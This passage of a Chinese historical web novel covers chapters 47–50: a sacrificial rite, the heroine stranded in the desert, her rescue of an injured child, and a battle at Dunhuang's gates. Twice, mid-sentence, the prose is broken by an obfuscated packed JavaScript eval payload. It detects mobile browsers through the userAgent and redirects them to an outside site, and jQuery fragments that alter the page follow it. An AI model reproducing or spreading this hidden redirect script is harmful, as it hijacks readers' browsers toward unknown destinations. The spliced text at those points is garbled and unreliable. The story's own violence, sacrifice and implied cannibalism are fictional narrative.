阿祇很快将沮渠蒙逊甩开,“我们不熟。” 沮渠男成虽然对聪明的女人感兴趣,却也没有为了女人和沮渠蒙逊到撕破脸的程度,他更关心堂弟是不是得了伯父的青眼,“你这个时候出现在此,是不是我们可以回去了?” 沮渠蒙逊不理他,反而对阿祇说:“收拾好东西,明日赶路。” 阿祇看了一眼沮渠蒙逊,他的眼神就像采玉祭上假冒大祭司时那样,有种风雨欲来的压迫力,她乖顺地招呼上躲在远处的努尔,朝岩洞离去。沮渠男成瞥了阿祇的背影一眼,冷笑道:“是个拎得清的女人……你支开她,有话快说?” 沮渠蒙逊没必要再兜圈子,“凉州刺史梁熙率五万兵马在建康阻击吕光,伯父命黑铁骑入关。” “终于要入关了。”男成勾唇笑了笑,“这种事,派个传信的来就好。” 沮渠蒙逊知他不服,拿出了兵符,“黑铁骑现在听从我的调令。” 沮渠男成眼神一黯,伯父是大单于,沮渠蒙逊这次西域立功,兵权暂时交给他也是时常发生的事情,他只恨当初没有斩草除根。 沮渠男成冷冷道:“建康现在是吕光的驻军之地,伯父是要与吕光结盟了?” 沮渠蒙逊说:“大秦灭了代国和燕国得天下二十年,苻坚南下伐晋败光了半数家底,别说梁熙的野心藏不住,如今恐怕凡有佣兵者皆会反。” 沮渠男成语带嘲讽,“你既然得了黑铁骑,可别浪费了这大好时机。” 沮渠蒙逊早就期待这一天,“苻坚手下部族混杂,吕光是氐族人,慕容垂是鲜卑人,姚苌是羌人,我们卢水胡族兵强马壮,与之一争,正当时。” 沮渠蒙逊靠近一步沮渠男成,低声威胁:“你我过去的恩怨,我可以暂不追究,但我的祖慕祇不是你能碰的。”沮渠男成冷笑,眼神露出杀意,“不过一个女人,我想要的东西,你知道的。” 沮渠蒙逊看着他阴鸷的脸,笑道:“西域之行你我愿赌服输,伯父赏我兵权,你得认。至于你想要的,有本事自己来拿。” 沮渠男成大笑,拍拍沮渠蒙逊的肩头,“人一旦有了软肋,就知道哪里下刀子更疼,你说对吧?” 天空一声鹰鸣,打断二人的剑拔弩张。 “赶路前,别忘了还有件事要做。”沮渠蒙逊沉默,男成露出诡异的笑容,提醒他道:“这次入关是你带黑铁骑,老规矩——拿兵符者祭旗,无兵符者选人。” 黑夜降临,月圆风高。 穿着黑甲的黑铁骑整齐地站在每个岩洞的围栏前,一片肃杀之气,每个黑暗的角落里都藏着惊恐的眼睛,他们都知道即将发生什么,吓得瑟瑟发抖。两个高大的黑衣首领缓缓走来,众黑铁骑噗通一声单膝跪地,齐声道:“恭迎少主。” 沮渠男成走在前面,步履不快不慢地穿行在一众岩洞前,终于他停下了脚步。 他们站立在某个洞口,隔着围栏看向里面的人。 沮渠蒙逊看了堂兄一眼,“别忘了,我可以拒绝一次你的人选。” 矗立不动的沮渠男成,只是回头看他笑了笑,几日的观察他早看出里面的三个女人关系,他便伸手指着其中一个人,道:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019708|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,过来。”站在里面的女孩并没有意识到,多么恐怖的事情即将发生在她们身上。被点中的人不敢移动,一个身影挡在前面,问:“你们要做什么?” 说话的正是祖慕祇,被沮渠男成选中的则是米耶。 阴森紧张的气氛,让人直觉感到了危险,沮渠蒙逊来到男成身边,他只有一次拒绝的权利,如果拒绝了人选米耶,那么下一次沮渠男成很可能会选择阿祇,他当然没理由反对米耶的提议。 “这个小东西成为黑铁骑的祭品,你该感到庆幸。”沮渠男成冷漠地站在阿祇面前。 “她不是真正的王室血脉,你选了她也没用。” 蒙逊给了阿祇一个警告的眼神,阿祇虽然不知道他们兄弟间在打什么哑谜,但作祭品绝迹不是什么好事。 沮渠男成冷笑,“再不让开,你们就一道祭旗。” 蒙逊打开了栏杆,拉开阿祇,低声道:“不想死就放手。” 沮渠蒙逊此时的眼神,犹如他们第一次在佛塔下相遇之时的冷酷,那时沮渠蒙逊仅剩下半条命,阿祇发现他时,他就是用这种口气吓跑了她。米耶被他拖到外面,往地上一丢,立刻被黑铁骑架住。 众目睽睽之下,每个黑黢黢的岩洞里慢慢出现很多手,握在栏杆上,随即一张张失去生机的面孔放大在黑暗中,带着恐惧的神情,同情地看着瘦小的米耶。沮渠蒙逊冷漠的声音响起,在这崖壁中传开,“你们中,有没有想救赎这个灵魂,身祭大漠之神?” 牢房里鸦雀无声,只有阿祇追问:“如何侍神?” “侍神,能通往极乐净土哦。”沮渠男成阴测测地说,似是在引诱她下地狱的恶魔。 崖壁只有风声呜咽,连平时的囚犯哭泣声都没有,静寂的可怕,隔着几间岩洞的门口,一个穿着脏兮袍子的年轻男人脸贴上栏杆,他左脚有些跛,似乎断了腿,脸塞在栏杆缝隙间,疯癫地问:“侍神有什么好处?” 沮渠男成乐得看热闹,“去极乐净土还不是好处吗?” 囚犯正是濒临崩溃的疏勒王子阿扎提,沮渠蒙逊对他的提问,竟然大发慈悲地解释:“侍神会死,好处是为了黑铁骑而死,黑铁骑以大漠之神的名义起誓,会完成祭品的一个心愿。” “任何心愿吗?” “不错。” 阿扎提大笑了几声,忽然喊着:“我,我愿侍神。” 其他岩洞的眼睛看着他,大概被关久了目光都显得麻木,只有在看这个疯子喊侍神时,才变换成惊惧不安,阿祇想阻拦他,沮渠蒙逊已经命人打开牢笼。 阿扎提狼狈不堪,定是受了不少苦。 他哈哈大笑,眼神凄厉,“你说过,可以完成我的心愿。” “说吧。”沮渠蒙逊穿着黑铁骑首领的黑色大氅,比在于阗假装大祭司时更显得危险。 阿扎提愤恨地说:“我要疏勒的新国君,我的亲哥哥阿弥厥,死!” 沮渠蒙逊冷冷看他一眼,仇恨的灵魂,很好。 “我答应你。” 阿扎提眼睛一亮,放声大笑。 沮渠蒙逊对崖壁下无数的黑色铁甲骑兵,大喊:“大漠之神最喜主动献祭的王族血统,黑铁骑此战必胜。” “必胜!必胜!”崖壁排山倒海的呼喊。 崖壁之上,黑铁骑丢下米耶,她小小的身子还在发抖,半爬着回到岩洞被阿祇紧抱在怀里,忽听呐喊声中,回响起阿扎提的歌声,不同以往的美好,甚是凄美。 月亮像个馕 从红松树林里爬上来 夜的空气里有酒的气息 还有淡淡的馕的清香 饿的时候,想抱着月亮啃一口 把它咬成弯弯的嘴唇 就像那美丽的娘子 那是阿扎提曾经边弹琴边唱的疏勒小调,曾经他唱得那么恋恋动人,如今听来尽是苍凉。 阿祇没机会听懂他歌里的故事,却为阿扎提的选择感动,疏勒王子回头对她们挥了挥手,嘴角含笑,决然离去。 山上的石门开合,没多久,所有的岩洞里传开凄厉的惨叫声,那是属于阿扎提的,每一声都那么清晰刻骨。阿祇突然想起了沮渠男成藏宝洞里的利刃深渊,那个不知多深,通向何处的黑洞,在被风蚀出无数孔洞的喀斯特地貌成了天然扩音效,夹杂着风声鸟唳,难怪这里的人都被吓成了诚惶诚恐的模样,这凄厉的惨叫,让人毛骨悚然。 阿祇抱着吓哭的米耶,舍蓝蓝呆呆地缩在角落,万般惊恐,千般神情。 在某个崖洞,有人默默在念: “春日太阳升起时,丰盈尼雅之水,天神派下他的女儿,降生祖慕海。” 48. 流浪瓜州 八百里路云和月,换了人间。 黄土路上风沙飞扬,天灰蒙蒙的,天际边界走来一骑脏兮兮的骆驼,背上似有一个人,浑身包裹在褴褛布衣下看不出动静。渐渐的,四周有零零散散的流民围过来,想要抢夺骆驼,可惜不等靠近,便被骆驼一脚踢开,骆驼十分凶悍,众人追不上它的步伐,眼睁睁地看着它从身边路过,奔向城门。 关内的大小城池交战数日,大批难民流窜出来,敦煌城封城不得入,玉门关不让出,四方涌入的铁蹄,拼杀在官道上,狼烟与尘土就没有断过。 靠近城门,骆驼背上驮着的身形才有了动静。 斗篷下抬起一张用泥浆涂抹了的脸,束紧了头发,形同乞丐,唯独一双眼睛明亮坚定,看着城门上“敦煌”两个大字,立刻流露出强烈的期冀。 “潭儿,我们有救了。” 声音清婉,是个女子。 她抓紧缰绳,怀中露出个小脑袋,一双脆弱迷茫的眼睛不知要看向哪里,双手紧紧揪着身前人的衣裳。稚嫩的声音虚弱又依赖,“不,不要丢下我。” “乖,姊姊带你看医,很快病就好了。” “我不要看别人,你……不要丢下我。” 孩子气若游丝,很快又昏睡过去。骆驼奔跑的步履矫健,行如飞驰,趋势骆驼的正是阿祇,至于她为什么和一个小孩沦落至此,话还要从三天前说起。 三日前,玉门关。 卢水胡的黑铁骑入关,汇成一直万人匈奴大军,辅助吕光征西军联合作战。 阿祇他们这些俘虏,原本是要被押解回卢水胡,奈何军情在即,吕光举兵在建康鏖战,凉州刺史梁熙镇守姑臧,凉州太守梁熙称以未收到苻坚圣旨为由,怀疑吕光有不轨之心,派儿子梁胤率两万人马在建康阻击征西军。沮渠蒙逊和沮渠男成率领匈奴大军,与羌人、氐人增援吕光。 入夜,阿祇与几千黑铁骑夜宿玉门关。 卢水胡人善弓马,沮渠蒙逊奉命率左骑营夜袭凉州军,阿祇等人被滞留在营地。原以为,一路上黑铁骑受沮渠蒙逊管辖,沮渠男成忌惮沮渠蒙逊,不会在这样的关头做手脚,可阿祇还是低估了沮渠男成的疯狂。 沮渠蒙逊刚一出兵,阿祇就被套了麻袋。 昏昏沉沉的她看不见东西,只是一路颠簸,她应该是被绑在了马上,好容易停下来,她被从麻袋里被抖了出来,才发现自己跌坐在一片不毛之地,四面荒漠。幸好她身上穿的是长袍胡服,就地滚了一圈,除了狼狈并无大碍。头晕脑胀之余,她看清把她丢下的高头大马上坐着蒙面的黑衣男人。 “大漠孤烟,明月当空,伽蓝可喜欢这里?” 阿祇冷笑,“如此戏弄,为什么不直接杀了我?” 黑衣人拉下兜帽,果然是沮渠男成那张狡诈阴郁的脸。这人喜怒无常,对做损沮渠蒙逊不利己的事异常执着,这场好戏,恐怕又是他心血来潮的杰作。事实的确如此,沮渠男成好不容易等到沮渠蒙逊离开,时机一到,他立刻下手。 沮渠男成的笑容让阿祇有些毛骨悚然,声音喜怒难辨,“生与死,看天意比较有趣。” 阿祇的脑海警铃大作,她知道沮渠男成不会杀她,可是比死亡,有更多可怕的事情存在。阿祇与他刻意拉开距离,“沮渠男成,你煞费苦心了,沮渠蒙逊是不会回来救我的。” 沮渠男成嘴角一扯,“你不知道,他当初急急离开于阗回来时有多狼狈,沮渠蒙逊居然第一次为了一个女人下跪求伯父放他回去,唉……我还以为蒙逊平时浪荡的样子是装的,没想到竟真是个情种。” 阿祇回想佛塔相遇、采玉祭重逢、于阗王宫周旋,还有盐泽魔窟…… 沮渠蒙逊这个人总是行色匆匆,目的重重,他们之间谈不上情深意重,当初她对沮渠蒙逊的不告而别,没有什么不甘和委屈,因为本就对沮渠蒙逊没有任何期待,但是阿扎提的死,让她看清了沮渠蒙逊的本质,身在乱世中的枭雄都有大业和野心,为此人命可如草芥,更何况虚无缥缈的爱情。 “那又如何?我并不是于阗的公主,沮渠男成,你是不是太闲了?” 沮渠男成大笑,“你说对了,既然本少主闲来无事,不如和你打个赌?沮渠蒙逊抢了我的黑铁骑,正在百里外征战,我在绑你出来的时候顺便给他送了个信,若想要你活着,他就得违反军令,不然,你就等沮渠蒙逊来替你收尸。在你的故事里,窦宪当年刺杀太后的幸臣祭旗北伐,祖慕祇,你本是我选好的祭旗人选,可惜了……接下来的故事,咱们拭目以待如何?” 阿祇直觉眼前的是个疯子,她知道历史的轨迹和沮渠男成的下场,忍不住劝说:“沮渠男成你赢不了的,放过他就是放过你自己。”沮渠男成收敛邪笑,满脸阴煞之气。 “祖慕祇,你的同伴还在我手里,你是嫌她们命长吗?” 阿祇噤声,她现在不是一个人,她也有软肋。 努尔和白月,米耶和舍蓝蓝她们都在沮渠男成手中。这荒山野岭的,根本不可能找到回去的路,她有些后悔为什么要激怒眼前的疯子,她得先活下去,“你是匈奴英雄,求你放过她们。” 见她终于求他,沮渠男成哧地笑出声,人有了软肋就是不堪一击。 “我虽无聊,却也不是对臭鱼烂虾都感兴趣,不过你就不要替别人操心了,你不愿意伺候本少主,倒有别人很愿意,还给本少主出了这么好玩的主意……”他话中有话,沮渠蒙逊对送上门的女人荤素不计的人,然而他对筹码的始终看得比女人重要。 阿祇冷笑道:“恐怕要让你失望了,你不是任人摆布的人,我不信你的挑拨离间。” “信不信由你,本少主要回去收美人了。”见沮渠男成转身,阿祇忙拦住他的马缰绳,“沮渠男成,好歹我们有几日交情,能不能告诉我魔鬼城那对精绝夫妻,究竟被你带去了哪里?” 沮渠男成捏起她的脸,凑近她说:“早就说过,除非你心甘情愿地伺候我,我可以大发慈悲地告诉你,可惜……太晚了。”阿祇的下巴生疼,就算是开放的现代人,对不情的亲密 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“女人对我来说,只有有用和没用,不配做朋友,不过……”沮渠男成从马上甩过来一个包袱,砸到她身上,邪恶的神情虽然与初见时的沮渠蒙逊如出一辙,但他的邪气里却隐约有种矛盾的情绪,这大概就是他始终没有对沮渠蒙逊痛下死手的原因之一吧。相爱相杀,大抵如此。 “我对诱饵十分慷慨,拿着这个,不要死的太快,让人失望。” 她打开包袱,幸好里面东西不少,但被扔在这里来场生存游戏,有了补给就有了活路,沮渠蒙逊不是她唯一的救命稻草。阿祇内心默默“问候”眼前之人全家,当然也不忘沮渠蒙逊。 “能告诉我,出卖我的是谁吗?” 沮渠男成大笑,“就等你问这个问题,可惜……本少主没兴趣满足你。” 阿祇大概猜到了是谁,但她不懂为什么?底层互害? 沮渠男成难道心情不错,“被出卖的滋味如何?” 阿祇欣然平静,说:“我会活下来的。” 看她的倔强,沮渠男成居高临下地笑了。他眯着眼,望着天边黑沉沉的夜色,幽幽道:“伽蓝公主,无论你相信与否,我并不想你死,可是也不想让沮渠蒙逊如意,所以你走吧。” 没有期待中的眼泪和求饶,男成心中一丝复杂,失望中也带着兴奋。 阿祇突然上前一把夺下他马鞍上的水囊,怎能少了最重要的物资。水囊不大,她晃动一下,水是满的。阿祇顺带挂在自己身上,故意问:“不介意吧。” 沮渠男成想说他挺介意,不过想起那人的话,阿祇活着比死了更有价值,他到底忍住了。与此同时,阿祇没给他机会反悔,顺势拍了一下对面人的马屁股,马儿有些暴躁,正如它此时的主人一样尥开蹶子。沮渠男成拉紧缰绳,放纵马儿奔跑。 他甩了计响鞭,狂笑渐远。 阿祇立在空旷的原地,感慨境遇…… 沮渠男成的悲惨结局她知晓,眼看他一骑绝尘,像尘埃融入大地,历史的宿命感再次掠过心间。她不知晓自己的命运,这样的迷茫,让身在旷野的自己不由得恐慌起来。 49. 又见义勇为 一晃春夏流逝,寒冬将至。西北的黎明来得迟,天空却也不至于漆黑。 阿祇独自在行走在戈壁荒漠中,寒气袭来,无处落脚。眼前她最大的困难是迷路了,自从入了玉门关,她就试图记路,然而她不是行走的GPS,亦不是神通广大的独行侠,好在有过一个人的旅程,除了没了坐骑和陪伴,并没有到山穷水尽的地步。 瓜州,敦煌西北靠近关外的最后一个城镇,既然她没有出关,那么往东南方向走,就会到达敦煌城。她摸着胸口藏着的玉牌,想起李暠的话,想探寻黑铁骑人质的奥秘,或许是时候求助玄玉阁了。 山不来就我,我便去就山。 她转身盯着天空,“东有启明,西有长庚。” 清晨的启明星位于东方,那是金星,也叫太白星,除了太阳和月亮之外最亮的天体,日落前,西方晚霞中也能看见明亮的长庚星,其实也是金星,她凝视着那璀璨的星星,感悟自己无论在哪个时空,辛薇与祖慕祇,都是那个不肯停下来的女孩。 怅然间,地平线上映入眼帘的竟是一大一小奔跑的身影。紧接着,传来狗吠声。 阿祇惊喜万分,大喊:“白月,努尔……” 欢快的狗吠声,响彻天际,她不敢想,白月和努尔是怎么找到她的。阿祇朝它们跑去,一把抱住白月的脖子,又撸了一把狗子的毛,激动得说:“好家伙,能追到这里,秭秭没有白疼你们。” 经历一夜的辗转,难怪都说万物有灵,白月识途,努尔灵嗅,可惜不见米耶的身影,大概沮渠男成对动物们网开一面了。努尔胖墩墩的身子摇着尾巴转圈圈,小表情让阿祇恍惚看到了考古队里小白的样子,白月就像认真又傲娇的老温,这样一想,瞬间阿祇失笑,心中满满的不再孤单。 如果米耶也够幸运的话,或许能和舍蓝蓝一起得到沮渠兄弟的善待。 自从离开盐泽魔窟,沮渠蒙逊带上阿祇和米耶,沮渠男成却也带上了舍蓝蓝。 一路上,舍蓝蓝始终在沮渠男成的帐篷里过夜,她嘴上不承认,其实心中多少认可了沮渠男成的话,他放逐自己,确实可以扰乱沮渠蒙逊的征战,但她想不通的是,舍蓝蓝为何与自己为敌?然事已至此,她希望沮渠蒙逊至少能护住米耶的安危,五胡乱华的年代中原内乱有多不堪,她是知道的。 一人,一狗,一骆驼,如同初时。 日出日落,她仿佛回到了初到与善爱阿秭他们分开那段孤独的时光。 她大概安逸久了,流浪了快一天,腿肚子疼得厉害,白月找了个避风的山洼,一潭泉水潺潺,虽然面积不大,但是水草甚丰,还有鲜嫩的沙棘果,橙灿灿的挂满灌木,看了让人心生欢喜。 阿祇拢了拢身上的披风,放下兜帽,双手合十,在清澈的泉水边祈祷: “神之所赐,润吾子民,泽幸苍生,惜佑感之。” 她喝下几口又注满水囊,坐在一块大石上休息,等努尔和白月汲水进食。旁边挂满了沙棘果的树桠,她小心地采摘了一捧成熟的果子,给之后来此的旅人留下些许大自然的馈赠,在太阳快落下的时候,原本要休息的阿祇,终于发现了人迹。 她藏在高处,望见远处出现流民队伍,缓慢而来。 那是一支几十人的队伍,没有牲畜,几乎没有女人和小孩,队伍的最后,有些年纪比较大的男人,无一不蹒跚褴褛,这些人与前面的人们刻意的保持距离,由于是官道,偶尔有一身戎装的人马飞驰而过,流民们纷纷避让,好像是信使。流民不敢惊扰兵马官吏,然而没多久,逆行的方向上又远远赶来一辆马车,赶车人身穿灰色长衫,三四十左右年纪,身材瘦削,他只身驾着马车往西北方向疾驰。 “驾……” 马车的出现没有让流民们像方才那般敬畏,他们看到马车行只影单,后面还帮着行李货箱,流民中打头的几个男人,立刻搬了大石头在路中间,眼看着马儿靠近,石头越来越多。 赶车人眼看情形不对,拉紧缰绳停下车。 马儿抬起前蹄,差点踢到围过来的衣衫褴褛的男女老少,他们挤在车前扑通跪下,祈求道:“给点吃的吧,求求郎君。” 长衫驾车人显得有些焦躁,面对饥饿的流民人多势众,就算有余粮也不敢施舍,他强硬大喊:“让开,没有吃的。” 车夫试图绕过人群,但马匹受惊,他又狠不下心碾压老弱,流民中不讲礼法的年轻人,直接朝车上抢去,众人一哄而上,生怕落后吃亏。 马儿前蹄跃起,又踢又踹,车摇晃着,行装散落一地。赶车人也连带着被人拉扯下去,滚落几圈,被一拥而上的流民践踏。车不受控地被马儿带着飞奔,车厢中传出稚嫩惊慌的哭泣声。 阿祇不敢想赶车人的下场,目光随着马车疯狂奔驰的方向而去。马匹流着血,消失在旁边的断崖,其实断崖下是一片山洼,滚落下去有一则水潭。阿祇躲在半山巨石后,顺着崎岖山路往下滑,马车大概会冲个粉身碎骨,可是孩子说不定有一线生机。 等她跌跌撞撞地滑下山时,沿途马车散落的轮毂残骸和浑身是血的马儿,惨烈场景触目惊心。车厢意外坚固,不知滚了多少圈,落入水中。她跳入水潭之中,几个浮沉终于找到一个小小的身影,一个大概十岁的孩子趴在她的肩上,一动不动。 阿祇艰难地托孩子游上岸,手指凑近鼻息,好在还有气,平放孩子在地赶紧急救,捏住他的鼻子朝嘴中吹一秒气,见胸部有隆起,马上在胸骨处按压十几次,再吹气,再按压,孩子呛出几口水,终于恢复了呼吸。 孩子紧紧抓着她的衣服,哭得撕心裂肺。 阿祇温柔抱起他,轻拍他的背脊:“不怕,没事了。” 孩子头上渗血,很可能被甩出来时受到脑震荡,这里离官道尚远,流民一时之间不会追到这里,但孩子哭闹,早晚会引人注意。她尽量声音温柔,安慰道:“乖,哪里疼?” 小孩疼就是哭,嘴里喊着:“伯伯,疼,伯伯……” 大概他口中的伯伯大概就是那个赶车人,可惜她没办法去找人,以刚才的暴民举动,赶车人肯定凶多吉少了。女人和孩子若再出现,很可能会成为下一个目标,孩子哭着在她怀里挣扎,不知是因为疼,还是受伤太重。周围还有散落的东西,阿祇忙找些衣服帮孩子换上,嚼了口鹿衔草给孩子止血,撕布条包扎伤口,她湿发上挂着泥浆草木,小孩盯着她慢慢静下来。 阿祇感受到目光,抬眼就对上一双明亮眼睛。 “别怕,我带你走,这里不安全。” 小孩子抓住她的衣角,喃喃道:“姊,阿姊。” 阿祇扯下面纱,包住孩子手臂的外伤,露出温和的笑容说:“我不是你的阿姊,不过,我是好人。”好吧,她实在想不出哄小孩的办法了。 小孩子又开始续泪,阿祇忙着给孩子检查伤口,手臂的血止住,可她担心孩子还有内伤,为了避免他晕厥,又问道:“小孩,你叫什么名字?” 孩子反反复复只会叫:“伯伯,阿秭……救我。” 没办法,阿祇抱着他离开水潭。白月和努尔沿着气味找到了阿祇,荒郊野外的,资源要多匮乏就有多匮乏,阿祇的医术不足以救治孩子,她本想天明出发想办法入城,可是现在的情形,不知这孩子能不能坚持到第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038195|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二天都未可知。 她咬咬牙,下了决心:“姊姊带你去找医工。” 古代《内经》以医工、针工称谓医者,北魏又以太医令和太医博士尊称之。她并不知这孩子的身份,看他的马车行驶方向,也是往敦煌而去,说不定,还能在城里遇到孩子的亲人。 这时,不远处传来人声。 阿祇唔上孩子的嘴,作出噤声的动作。阿祇抱着孩子藏身在一块石头后,可是,孩子的呜咽声怎掩盖得住。从小路窜出来三个人,一个年老的,两个年轻的男人,衣服尚算整齐,走在最前面削瘦的年轻男人最先喊道:“出来!我知道你在那。” 单薄的衣角被风吹的咧咧作响,阿祇蒙上胡人的头巾,慢慢抱着孩子走了出来,她肯定跑不过三人,努尔朝男人狂吠,阿祇制止它,“别叫,会招来更多人。” 努尔立刻乖乖退回阿祇身边,男人们伪善的对抱着孩子的女人靠近,阿祇灰暗破旧的长袍蒙着脸,白月的背上有包袱和弯刀,她已用泥巴覆盖皮肤和额间朱砂,敛住眼神的光芒,一手抱着孩子,一手抽出圆刀,摆出攻势。 “那女人有刀。”瘦男人小声对身边的男人道。 旁边的壮实汉子操着西北口音,见瘦子停下一脚踢来,用方言低声骂咧:“瓜皮,怕啥子。” 瘦子被踹得扑倒在阿祇脚下,伸手想抓她的衣服,阿祇也不客气,一刀隔断衣袍一角,利刃擦着瘦子的手指划过,阿祇冷冷道:“再赶靠近,我就割断你的手指。” 三人中的老者小跑而来,他穿着破旧的长衫像个读书人,喘着粗气,和和气气地解释:“小娘子莫怕,额们是好人,额懂医术。”壮汉裂裂嘴,眼神闪动了一下,也跟着道:“对咧,额们是关中来的客商,刚巧路过跟前听见有娃娃哭。” 瘦小男人爬起来,讪笑地拍了拍身上的土,“可不咋说,额方才也是想看看娃,是不是病着,额大伯是坐堂行医的大善人。” 阿祇看了一眼慈眉善目的老者,主动发问:“你是坐堂的医工?” 眼前的老人看着有几分慈眉善目,颇显真诚地说:“娃娃给额看看就知道有事没事。” 阿祇纠结着并不上前,早晨在流民中看到的惨象历历在目…… 废墟的戈壁上,散落着约百人,不远处有浓烟飘起,那边人声喧闹起来,围起来的人越来越多,阿祇皱起眉头,“这味道。”流民争抢着叫骂:“别抢,想吃‘两脚羊’的自己去换,这娃娃是额闺女换来的,再抢,老子把你烤了!”饥民像是饿疯了的僵尸大军,不管不顾地往有吃食的地方挤,有人像是抓出一根骨头,阿祇远远望去瞳孔一阵,胃里翻江倒海的恶心,那分明是一节人的腓骨。阿祇捂上嘴,眼中浮现出一股恐惧。 记忆十分恐怖,老者身上的味道……她没法忘记。 紧了紧手中的圆刀,对靠近她的叔侄一刀挥去,男人没想到她力气这么大,动作又快,一个没准备被削晕过去,壮汉见她反抗,不再装腔作势,仗着身高马大的优势就要抱住阿祇。 阿祇跟米耶练习了一月刀法,小有所成,但现在抱着病孩子,不方便用全力,艰难躲闪开,侧身挥刀,壮汉立刻发出杀猪般嚎叫,那个老头眼看壮汉背后腰椎被小娘子反手刺入一刀,鲜血溅出一丈。毕竟男人的力量有优势,正要反扑,从灌木丛中跑出来一个庞然大物,双蹄踏过男人的身体,另一个早被吓得屁滚尿流。 “白月,好样的!”阿祇惊喜,李暠的坐骑就是勇猛。 这三个人怕是寻着车痕最先追来的,万一有更多人过来,她根本对付不了。 为今之计,走为上策。 50. 入敦煌 北方中原无处不战乱,敦煌作为阳关关内最大的贸易城池,神奇地在动乱之中保存生机。 吕光入关,几场大战之后敦煌被吕光攻陷,太守梁胤在建康兵败而亡,吕光率大军朝姑臧乘胜追击。留守玉门关、瓜州、敦煌西北地界的守将是吕光的参军段业,羌人等蛮族联军不讲道义,不顾吕光的警告,也趁征西军离开打起了富饶的敦煌城主意。 城墙耸立,仿佛一道隔绝两世的屏障。 城外,流民加上战俘已聚集数百残弱,哀鸿遍野。人们留守于城门外,身后是虎视眈眈的羌人军队。城内,是井然有序的浮世安然,城墙上,守将持武器严正以待,无视城墙下绝望无助的百姓,拉满弓弦。 这就是如今的大敦煌。 不少流民高喊:“求求你们,开城门吧!” “滚开,大将军有令,不得开城!”守备森严,无情拒绝流民的恳求。 城门虽然仍有往来西域的客商,但玄玉阁的商队却一夜间消失在了大漠。 自从三个月前吕光大军来到敦煌,听闻南下讨伐晋朝余孽的秦军大败,吕光无心驰援,率领征西军滞留凉州,到处征战反抗他的大秦官员,反而对塞外羌人、匈奴放松警惕。于是,敦煌城外就出现了开始的那一幕:天际边界跑来一骑骆驼,女人长发飞舞,凌乱飘零的斗篷下还缠着个孩童,身边跟着一只狂奔的狗,被流民和羌人围困。 流民围过来,却不敢阻止骆驼的脚步。 白月是上过战场的凶猛坐骑,阿祇这才体会到了它的厉害。 有羌人士兵喊道:“快看,是女人,还抱着孩子。” 二脚羊首先是易子而食,其次是女人。最可怕的事,莫过于死前可能还要遭受凌辱,一想到此,阿祇有了破釜沉舟的孤勇,她袖中飞射出利刃,直中羌人咽喉,一手拔刀,泛出冷光。 不远处,又有人喊:“首领,要抓吗?” 羌人首领耻笑一声,“这女人不错,捉活的回去,多玩几天。” 羌人抢夺女人的戏码,可不罕见。以往敦煌通常会迎难民入城,游牧民族趁此机会打秋风,敦煌的士兵为了减少难民伤亡,由于兵力有限,他们总会睁一只眼闭一只眼将羌人赶走即可,如今敦煌已经易主,兵力大增,然而城墙上的守将却更加不敢轻举妄动。 他张弓戒备,紧盯着旷野上那匹异常凶猛矫健的骆驼,女子凌乱的头发迎风乱舞,身穿胡服,这装扮,这坐骑,总让守将觉得怪怪的,似曾相识。 微弱的声音从女子怀中传出:“阿姊。” 女子迎风飞驰,拉紧缰绳,持刀的手拍拍紧绑在胸前的孩子,袍子护着孩子的头和脸,怕是颠簸让孩子不舒服了,她心焦急,“嗯?你醒了?” 孩子睁开眼睛,那双眸子依旧亮得惊人,干涸的嘴唇蠕动着说:“阿姊,我想回家。” 阿祇安慰:“乖,就快回家了。” 自从她捡了个这个孩子,已经飞奔了一日,总算看到了敦煌城门。怀中的孩子忽然动了,双手紧紧抱住阿祇的腰,将头埋在她的胸口,哭着说:“阿姊,你又在骗我,阿耶死了,家,早没了。”孩子好像记忆混乱了,没说几句就又昏睡过去。 阿祇不知孩子的来历,萍水相逢,命在旦夕,这就是这个乱世的常态。 不远处,羌人首领对身边的手下下令:“别放箭,让兄弟们活抓那女人。” 羌人弓箭手奸笑,兴奋大喊:“是。” 几匹快马围攻而去,阿祇的骆驼毛发色泽参差怪异,然而脚力一流。那些散兵追了好久才靠近她们,谁知刚伸出手,就被蒙面女子反手一道圆刀光影,削掉了手指,吓得其他人缓了进攻。有人想拿出弓箭,被领头的骑兵喝住,“上头有令,捉活的。” 众人快马变换队形,强行将骆驼围在一方天地。 眼看目的地近在咫尺,阿祇决绝地看向紧闭的敦煌城门,孤注一掷。她用袖箭对付了正前方的羌人,圆月弯刀削铁如泥,她不再留手,挥刃朝他们的脖子抹去,惨叫声四起,她想起了屠狼之夜,没想到以命相搏的时刻,这么快又摆在面前。 危急时刻,远处有无数飞箭袭来。 羌人被撂倒几个,流民四散,人们被吓得四窜往壕沟里跳,阿祇紧紧拉住缰绳,惊喜地回头张望,然而并不是为她屠狼的玄羽衣,黑色的飞箭无差别地射向每一条生命,箭法精准,几乎擦着她的身体,屠杀在场所有人。阿祇知晓,来的是黑铁骑。 一支箭插入流民的身上,箭矢通体黑色,箭头是四棱形,正是要善爱和沙迦牟韦命的箭。 “撞门啊!”城门外惨叫声,呼喊声四起。 城门上的守卫严阵以待,他们不确定飞箭的势力是何方,根本不敢开城门。守城的将领,朝人流中扫视,见到那匹骆驼和女人靠近,神色一变,白月的毛色被阿祇“改装”过,他似乎认出了骆驼的身份,他不认识骆驼驮着的女人和孩子,但直觉她们与李家主玄郎君有关。 